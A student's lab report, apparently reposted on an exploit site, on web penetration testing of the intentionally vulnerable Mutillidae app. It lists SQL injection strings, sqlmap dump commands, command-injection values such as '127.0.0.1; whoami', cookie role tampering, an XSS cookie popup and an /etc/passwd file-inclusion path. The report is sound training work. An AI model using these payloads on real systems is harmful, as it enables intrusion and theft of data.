Share
## https://sploitus.com/exploit?id=146ED0DA-EE83-50B0-AC23-A263B791CBB5
# ๐Ÿ”“ Week 04 โ€” Web Application Penetration Testing (OWASP Top 10)

**Intern:** Ali Ahsan | **Roll No:** CSI-B1-427
**Program:** Cyberstar Cybersecurity Red Teaming Internship
**Instructor:** Umar Niaz
**Date:** 28 March 2026
**Target:** Mutillidae (intentionally vulnerable web app)

---

## ๐Ÿ“Œ Overview

This week covered hands-on exploitation of the most critical web application vulnerabilities based on the **OWASP Top 10**, using both manual techniques and automated tools. The lab demonstrated how insecure implementations can be identified and exploited.

---

## ๐Ÿงช Tasks Covered

### Task 01 โ€” Burp Suite Mastery
- Configured Burp Suite with **FoxyProxy** browser extension (127.0.0.1:8080)
- Intercepted and modified live HTTP requests
- **Repeater** โ€” replayed and modified requests manually (`/profile?id=1` โ†’ `id=2`)
- **Intruder** โ€” dictionary-based password attack using payload list: `123456`, `password`, `admin`, `admin123`

### Task 02 โ€” Injection Attacks (SQL & Command Injection)

**Manual SQL Injection:**
```sql
id=1'                        -- Error-based detection
id=1 OR 1=1                  -- Boolean testing
UNION SELECT 1,2,3...        -- Column enumeration
UNION SELECT version(),3     -- Data extraction
```

**SQLMap Automation:**
```bash
sqlmap -r request.txt --dbs
sqlmap -r request.txt -D dbname --tables
sqlmap -r request.txt -D dbname -T users --dump
```

**Command Injection:**
```bash
127.0.0.1; whoami
127.0.0.1 && ls       # Linux
127.0.0.1 && dir      # Windows
```

### Task 03 โ€” Broken Access Control & IDOR
- Modified `user_id=1` โ†’ `user_id=2` in requests โ†’ accessed another user's data
- Changed cookie `role=user` โ†’ `role=admin` โ†’ admin panel access confirmed
- **Result:** IDOR and Privilege Escalation both confirmed

### Task 04 โ€” XSS & File Inclusion

**Reflected XSS:**
```html
alert(document.cookie)
```
โ†’ Session cookie exposed in popup โœ…

**Local File Inclusion (LFI):**
```
?page=../../../etc/passwd
```
โ†’ Not confirmed on this target

**Remote File Inclusion (RFI):**
```
?page=http://192.168.56.101/test.txt
```
โ†’ Not confirmed on this target

---

## ๐Ÿ“Š Vulnerability Summary

| Vulnerability | Status | Impact |
|--------------|--------|--------|
| SQL Injection | โœ… Confirmed | Database compromise |
| Command Injection | โœ… Confirmed | OS-level access |
| IDOR | โœ… Confirmed | Unauthorized data access |
| Privilege Escalation | โœ… Confirmed | Admin access |
| Reflected XSS | โœ… Confirmed | Session hijacking |
| LFI / RFI | โŒ Not confirmed | โ€” |

---

## ๐Ÿ› ๏ธ Tools Used

`Burp Suite` ยท `FoxyProxy` ยท `SQLMap` ยท `Mutillidae`

---

## โš ๏ธ Disclaimer

> Performed in an **authorized lab environment** using Mutillidae (intentionally vulnerable web app). For educational purposes only.